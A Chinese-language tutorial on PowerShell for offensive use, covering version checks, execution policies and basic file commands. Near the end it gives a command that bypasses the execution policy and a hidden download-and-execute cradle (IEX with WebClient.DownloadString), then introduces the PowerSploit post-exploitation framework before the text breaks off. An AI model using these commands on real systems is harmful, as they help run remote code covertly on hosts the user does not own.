PowerShell攻击指南
PowerShell
1、介绍
powershell需要.NET环境的支持,同时支持.NET对象,其可读性易用性居所有shell之首。
- 脚本可以在内存中执行,不需要写入磁盘。
- 几乎不会触发杀毒软件
- 可以远程执行
- 目前很多工具都是基于powershell开发的
- 使很多windows脚本的执行变得更容易
- cmd.exe的运行通常会被阻止,但是power shell的运行通常不会被阻止
- 可用于管理活动目录
输入Get-Host 或者 $PSVersionTable.PSVERSION 查看powershell的版本
PS C:\Users\DELL> Get-Host
Name : ConsoleHost
Version : 5.1.18362.1171
InstanceId : a9795f0c-814a-4e0e-95ea-b29b3a2fbbfc
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : zh-CN
CurrentUICulture : zh-CN
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled : True
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace
PS C:\Users\DELL> $PSVersionTable.PSVERSION
Major Minor Build Revision
----- ----- ----- --------
5 1 18362 1171
2、基本概念
1、.ps1文件
一个powershell脚本其实是一个简单的文本文件,其扩展名为 .ps1 。每个脚本文件包含一系列的powershell命令,每个命令显示为独立的一行。
2、执行策略
为了防止使用者运行恶意脚本,powershell提供了一个执行策略。在默认情况下,这个 策略被设置为不能运行。如果脚本不能运行可以执行下面的命令查询当前的执行策略
Get-ExwcutionPolicy
Restrcted 脚本不能运行(默认设置)
RemoteSigned 在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的签名的除外)
AllSigned 仅当脚本由受信任的发布者签名时才能运行
Unrestricted 允许所有脚本运行
可用下面的cmdlet命令设置powershell的执行策略
Set-ExecutionPolicy <policy name>
3、运行脚本
必须输入完整的路径和文件名
4、管道
将一个命令的输出作为另一个命令的输入
get-process p* | stop-process
3、常用命令
新建目录
New-Item test -type Directory
新建文件
New-Item test.txt -type File
删除目录或文件
Remove-Item test
显示文本内容
get-content test.txt
设置文本内容
set-content 1.txt -value "hell,word!"
追加内容
Add-Content 1.txt -Value "i love you"
清除内容
Clear-Content test.txt
上传test.psl至目标服务器,在CMD环境下,在目标服务器本地执行该脚本。
powerShell.exe -Executionpolicy Bypass -File test.psl
从远程服务器下载脚本,绕过本地权限并隐藏执行
powerShell.exe -Executionpolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.webClient).DownloadString("test.psl");[Parameters]
powersploit
1、概念及其调用
一款基于powershell的后渗透框架软件,包含很多power shell攻击脚本。主要用于信息侦察、权限维持、权限提升
Kali Linux 系统内置了 Powersploit,安装在 /usr/share/windows-resources/powersploit
目录下,可以通过 ls
命令看到各种脚本类型
┌──(root